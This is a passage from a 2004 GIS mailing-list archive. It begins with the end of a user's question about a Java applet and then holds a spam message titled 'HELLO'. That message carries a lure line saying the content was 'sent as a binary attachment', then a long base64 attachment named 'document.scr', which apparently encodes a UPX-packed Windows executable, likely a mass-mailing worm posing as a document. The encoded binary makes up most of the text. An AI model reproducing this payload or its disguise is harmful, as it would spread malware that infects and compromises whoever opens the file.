java.lang.reflect.InvocationTargetException: java.security.AccessControlException: access denied (java.net.SocketPermission www.tarkvarastuudio.ee resolve)... Everything works fine in IE. Does anybody know is it possible at all to get image swaping work in non IE environment? Kristjan From dblasby@refractions.net Tue Feb 3 09:28:17 2004 From: dblasby@refractions.net (dblasby@refractions.net) Date: Tue, 3 Feb 2004 01:28:17 -0800 Subject: [Mapserver-users] HELLO Message-ID: <200402020928.i129SuAP006578@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0007_13381B20.F353F2D1 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit The message contains Unicode characters and has been sent as a binary attachment. ------=_NextPart_000_0007_13381B20.F353F2D1 Content-Type: application/octet-stream; name="document.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUA AEwBAwAAAAAAAAAAAAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAA AAIAAAQAAAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQ AAAAAAAAAAAAAADowQAAMAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAHAAAABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAA BAAAAFQAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6H ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY 1MzIwJqmabq4J7CsqKCYaZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA +CbPA+jg2Gebzm1UNEMDQDQ024r/////nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/ ////91rAKZUEdutj3lzdYehy/48iuFHtjC7TeybUDTnwqmf/////J+qweUUU5ruTbkwtEfjiz7+y qKGdnJ6jq7bE1ekAGjf/////V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/////hwqQ GaWlqP7yw9Ko+BIsSmuPtuANPXCm3xtafOEnVcn/////EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCW T8tqDLFDerL/////cxfOiEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/////s8fe+hU1WH6n wwI0eaHcGluP5jBtzSB2zyuK/FG5JJL/////A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9 +Tj/////er8HUqDxRWyWU7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/////6o834pBB9axmI+OmbDUB 0KJ3TyoI6c20not7bmRdWVj/////Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3///// mnenAnDhVcwGw0PGXNVhYWRqc3+MoLXN6AYnS3Kcyfn/////LGKbVxZYfbBgJv4jetQxkeRawy/O EIX9dPZ3+4AMmSn/////vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/////TkI7Nzg4 PUVQXm+DmrTR8RQ6Y8++8OVstuQjW/e8Yaj/////0DuJ7nM8Y/iZ4MVLkRehId4isz8/VEhRe29+ 1s/ZbpX/3/7/KQMj6ZQJv+bzpUEQpnwyaWuAIQstx07SEIJs+f////9zp3feFIcHB/tSqgFhwCyb 9yaW3ZedImAPRp7N/SxAf/////+TstLxCSBYdmhjXVBSUVNqZHcBLMXvVDC8VxE8zp1Xbv////8g 461g2tFSFc5mX7dBwBTkZZOfeP5yDbznapV7exN2dv////99HA0t8vb0sPHR53n63Uxlo/8nbIzd C9uMG6m9dYc7T//////bFIJCFAlFzIIP+mK3KXP7FYPnHpN+tCRpKf+9KMvqTv//7f93Djqwv/dU 1OxzmAFNBp3yoq/CYvPlXjffBXFS/////wf4G0B+VD6nqU8sAn0wyOcG0lQqGmtMAZ0E9mr6HccG /4X///gdkASrlgAGBhAr75nUTv8XeAuTxvh1IYyk/////1//zHJr62/+pf3s0EHJeJHZxKwmx+jg qbcaXW/sKRCj/////7zz7fVvUSE1jdZTHEgpGOO3XD+duM3QUlXjtUPqvmfj/////6CgMuLOSTok LzAKj66E4XVAoWKYsvUwSuDj/5GBwScH/////3eIZ49Us4UI4v6CRathjnTauyo4rvBK1BicF4pI wrW8/////577H1bmbpDgO0ezoBq30qq8xPeTSKYBwAT/BhKLXanY/////72UMfgf6FpjPt/WCspC 1QxeYEly9fSu9FMX/BYV8o6a/////3NwPIKx4o43W1MWoieUVFissTU3Pqp1ZZUhbusahIFq//// /+YKGD86lZ+BguNzpEc9CQLWLojCp9U/ilzqn1Y7Xz1K/9L//8N5X0MJuPCrms4esoXZS8HUO17P 3/ZH+Ur3/////9j7LbSKZ2L/WK0RjCL3W8tY34X8rOBl2uuXlOJgCO8//////zzj7H8QjmB+3U2b 5J0FG5d628yz+zePJfE5HbJ8GvUd/////x+9n+nG6unrPtmWcP072kUl9vOk59YEIUw5/lukh4mS ////C53TsFuNKjZCG8rR5DRQrMMcxeFmimxbM1FC/////+0+I6ti1+6U9DSy6dVJrF4mrrxteWeV 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 crwJvcwCW7cWeN1VsB4PA3r/////9HG6MajNSkMhKg9pcAJjOtLilKlpeUWJvnwlhZFVDsH4t/7/ 7R5TtUTu32jxRzKWf4wdW8glqXzVJrP//1u0gNK1BGKCbhyK5Eyi3QBRuaXpLv9/i8ZLcIdXPCdp e2iJlaKAnebr84n/3/jbf21bDAv5g+gRI57fC0aEaDFQmuc3iv//Df7gOZX0Vrsj2m3hWNJPz1LY Ye3t8Pb/Cxr//y/9LEFZdJKzmShVhbjuJ2Oi5ClxvApbrwZgvR3/Fl/qgOZPjpwRiQS6hw6YJbVI 3v////93E7JU+aFM+qtfFtCNTRDWn2s6DOG5lHJTNx4I9eXYzv+F/v/Hw8LEydHc6vsPJkBdfaBP G0p8sekkYqP/Av//5y54xRVovhdz0jSZAWzaSwCwLa0wtj/L//+N/svO1N3p+ApAUnCRtdwGM2OW zAVBgMIHT/9S//+a6DmN5D6b+17ELZkIeu9nU+Fl7HYDkyb+X+r/vFXxkDLXfyrYiT3oayvutH1J GOq/l3Lo//+XwBX85tPDtqyloaCip6+6yNntBB47W/X//19BzfkoWo/HKHN5bmMuYyx2IDAuMSAy MDA0/SPbb5MxL3h4IAI6IGFuZHkpAHu7BRvMAi0MAAUcADkJzhD/mQ8BABAACQAS1wMHIX77ZnV2 enRNdi5xeXk3RmL9v/v/c2dqbmVyXFp2cGViZg1cSnZhcWJqZlxQaGV/+f+/F2FnSXJlZnZiYVxS a2N5YmVyZWJ6UXl0M7f4LdgyXBlDanJvRnZrRnq6v/32Z2tGMFNnbmZ4ehcucmtyAEcLWis0BfYj Z0V5l5b/9r9ub3RlcGFkICVzC01lc3NhZ2UALCX7mNsPdRIFLjJ1OgSKbnvPFAYDLy0/K/tv/29D ZWMATm92AE9jdABTTQBBdWcASnVsA7a5261uU2F5D3ByBwNGkLe/XbYTYVNhJ0ZyaQBUaERXZfbO 3bZkB3VzTW8XL2FiY2Sf+8Jv/2doaWprbG2ccHFyc3ROd3h5emf2//9/QUJDREVGR0hJSktMTU5P UFFSU1RVVldYWVobte3W2la412NnVAJQ3Oha4bYIcA5xRiAFn2ocPoJbAHYajmFoeHLd98K2PZNi 7naaXyducHgPoXD4t55iZ3h2Z0tDwwdp3y78fy10dmV5LTIuMG9xcIxfY05wdXJmmaHdCjNcdmkL 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 